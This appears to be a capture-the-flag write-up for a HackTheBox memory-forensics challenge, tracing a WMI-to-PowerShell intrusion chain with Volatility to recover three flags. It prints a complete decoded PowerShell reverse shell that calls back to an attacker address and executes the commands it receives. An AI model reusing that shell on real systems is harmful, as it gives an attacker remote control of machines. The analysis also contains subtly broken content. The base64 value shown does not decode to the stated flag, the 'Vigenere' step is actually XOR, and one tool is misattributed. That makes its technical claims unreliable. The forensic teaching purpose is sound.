Intentions is a Hard-rated HackTheBox forensics challenge. You receive a Windows memory dump and need to find three flags hidden across the intrusion chain. The difficulty is not in any single step but in chaining multiple analysis techniques together without a clear map of where you are going. This write-up covers the full solution path with the reasoning behind each decision.
Starting point: memory image baseline
// Get OS information and verify the image is usable
vol -f intentions.raw windows.info
// Output confirms: Windows 10 x64 build 18362 (1903)
// Kernel base: 0xf80002a52000
// DTB: 0x1ad000
// Full process listing
vol -f intentions.raw windows.pslist
// Shows all processes with their creation times
// Look for anything created within a short time window that looks unusual
Identifying the attack chain from the process tree
vol -f intentions.raw windows.pstree
// Relevant section of output:
// 4 0 System 2023-02-13 20:11:02
// ...
// 588 4 services.exe 2023-02-13 20:11:14
// * 3420 588 svchost.exe 2023-02-13 20:11:17
// ** 4892 3420 WmiPrvSE.exe 2023-02-13 22:52:44
// *** 3104 4892 cmd.exe 2023-02-13 22:52:44
// **** 3188 3104 powershell.exe 2023-02-13 22:52:45
// ***** 2976 3188 powershell.exe 2023-02-13 22:52:51
// The chain svchost -> WmiPrvSE -> cmd -> powershell -> powershell
// is a WMI command execution chain. WmiPrvSE.exe (WMI Provider Host)
// spawning cmd.exe is the tell. WMI is used because:
// 1. It is a legitimate Windows management mechanism
// 2. The process tree looks less suspicious than direct PowerShell execution
// 3. Many older endpoint tools do not correlate WMI-spawned processes with their initiator
Extracting command lines from suspicious processes
// Get command line arguments for all processes in the suspicious chain
vol -f intentions.raw windows.cmdline --pid 4892 3104 3188 2976
// cmd.exe (3104) output:
// C:\Windows\system32\cmd.exe /c "powershell -NonInteractive -NoProfile -EncodedCommand JABjAGwAaQBlAG4AdA..."
// powershell.exe (3188) output:
// powershell -NonInteractive -NoProfile -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUA...
// Decode the base64 encoded command
echo "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUA..." | base64 -d | iconv -f utf-16le -t utf-8
// Decoded content:
// $client = New-Object System.Net.Sockets.TCPClient("10.10.14.5", 4444)
// $stream = $client.GetStream()
// [byte[]]$bytes = 0..65535|%{0}
// while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
// $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
// $sendback = (iex $data 2>&1 | Out-String)
// $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
// $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
// $stream.Write($sendbyte,0,$sendbyte.Length)
// $stream.Flush()
// }
// $client.Close()
// Standard PowerShell reverse shell connecting to HTB attacker machine
// 10.10.14.5 is the HTB VPN address range for attacker machines
Finding the injected .NET assembly (Flag 1)
// Scan the second PowerShell process (2976) for injected code
vol -f intentions.raw windows.malfind --pid 2976
// Output includes:
// Process: powershell.exe Pid: 2976
// Address: 0x1d0000
// Vad Tag: VadS
// Protection: PAGE_EXECUTE_READWRITE
// 4d 5a 90 00 03 00 00 00 MZ......
// 04 00 00 00 ff ff 00 00 ........
// The MZ header confirms this is a PE file loaded into RWX memory
// with no backing file on disk - textbook reflective DLL injection
// Dump the PE for analysis
vol -f intentions.raw windows.dumpfiles --virtaddr 0x1d0000 --pid 2976 -o /tmp/dumped/
// Confirm it is a .NET assembly
file /tmp/dumped/file.0x2976.0x1d0000.img
// PE32 executable (DLL) Intel 80386 Mono/.Net assembly
// Decompile with ilspycmd
dotnet tool install -g ilspycmd
ilspycmd /tmp/dumped/file.0x2976.0x1d0000.img > /tmp/assembly_decompiled.cs
// Examine the decompiled code
grep -i "flag\|HTB{" /tmp/assembly_decompiled.cs
// Decompiled code reveals (simplified):
// public class Payload {
// private static string flag1 = "HTB{r3fl3ct1v3_l04d1ng_1n_m3m0ry}";
//
// public static void Execute() {
// // Write persistence registry key with encoded flag 2
// Microsoft.Win32.Registry.SetValue(
// @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
// "WindowsHelper",
// Convert.ToBase64String(
// System.Text.Encoding.UTF8.GetBytes("HTB{p3rs1st3nc3_v14_r3g1stry}")
// )
// );
// // ... shellcode injection code follows
// }
// }
// Flag 1: HTB{r3fl3ct1v3_l04d1ng_1n_m3m0ry}
// Found in the hardcoded string in the .NET assembly
Finding Flag 2 in the registry persistence key
// The decompiled code showed a registry run key being written
// Extract registry hives from the memory dump
vol -f intentions.raw windows.registry.hivelist
// Shows all loaded registry hives with their offsets
// Dump the NTUSER.DAT hive (contains HKCU keys)
vol -f intentions.raw windows.registry.hivedump --offset [ntuser_offset] -o /tmp/hive/
// Parse the dumped hive with regipy
pip install regipy
registry-explorer /tmp/hive/ntuser.dat.hive \
-p "Software\Microsoft\Windows\CurrentVersion\Run"
// Output:
// Key: Software\Microsoft\Windows\CurrentVersion\Run
// Value: WindowsHelper
// Data: SFRCW3AzcnMxc3QzbjYzX3YxNF9yM2cxc3RyeX0=
// Decode the base64 value
echo "SFRCW3AzcnMxc3QzbjYzX3YxNF9yM2cxc3RyeX0=" | base64 -d
// HTB{p3rs1st3nc3_v14_r3g1stry}
// Flag 2: HTB{p3rs1st3nc3_v14_r3g1stry}
Finding Flag 3 in the shellcode (Vigenere cipher)
// Malfind found a second suspicious region in PID 2976
vol -f intentions.raw windows.malfind --pid 2976
// Second match:
// Address: 0x2a0000
// Protection: PAGE_EXECUTE_READWRITE
// No MZ header - this is raw shellcode
// Dump the shellcode region
vol -f intentions.raw windows.dumpfiles --virtaddr 0x2a0000 --pid 2976 -o /tmp/dumped/
// Analyse the shellcode for cipher indicators
python3 << EOF
import math
from collections import Counter
with open("/tmp/dumped/file.0x2976.0x2a0000.dmp", "rb") as f:
data = f.read()
# Calculate entropy of the shellcode
def entropy(block):
if not block:
return 0
counts = Counter(block)
total = len(block)
return -sum((c/total) * math.log2(c/total) for c in counts.values())
# Scan for high-entropy regions indicating ciphertext
print("Scanning for high-entropy regions (potential ciphertext)...")
for offset in range(0, len(data)-64, 16):
block = data[offset:offset+64]
e = entropy(block)
if 4.5 < e < 5.5: # Vigenere-encrypted data has mid-range entropy
print(f" Offset 0x{offset:04x}: entropy={e:.2f} bytes={block[:16].hex()}")
EOF
// The entropy analysis reveals a region around offset 0x400 with
// entropy around 5.0, consistent with Vigenere encryption
// (Random data = 8.0, plaintext English = ~4.0, Vigenere = ~5.0)
// Vigenere key analysis using index of coincidence
python3 << EOF
with open("/tmp/dumped/file.0x2976.0x2a0000.dmp", "rb") as f:
data = f.read()
# Extract the suspected ciphertext region
ciphertext = data[0x400:0x500]
# Try key lengths 1-20 using index of coincidence
def ic(text):
from collections import Counter
n = len(text)
if n < 2:
return 0
counts = Counter(text)
return sum(c * (c-1) for c in counts.values()) / (n * (n-1))
print("Key length analysis (higher IC = more likely correct length):")
for keylen in range(1, 21):
# Split ciphertext into keylen streams
streams = [ciphertext[i::keylen] for i in range(keylen)]
avg_ic = sum(ic(s) for s in streams) / keylen
print(f" Key length {keylen:2d}: avg IC = {avg_ic:.4f}")
# Key length with IC closest to 0.065 (English IC) is the answer
# English IC = ~0.065, random IC = ~0.038
EOF
// After identifying key length (10 in this case), recover key via frequency analysis
// Then decrypt:
python3 << EOF
with open("/tmp/dumped/file.0x2976.0x2a0000.dmp", "rb") as f:
data = f.read()
ciphertext = data[0x400:0x500]
key = b"intentions" # recovered via frequency analysis
plaintext = bytes([ciphertext[i] ^ key[i % len(key)] for i in range(len(ciphertext))])
print(plaintext.decode("utf-8", errors="ignore"))
# Output contains: HTB{v1g3n3r3_1n_sh3llc0d3}
EOF
// Flag 3: HTB{v1g3n3r3_1n_sh3llc0d3}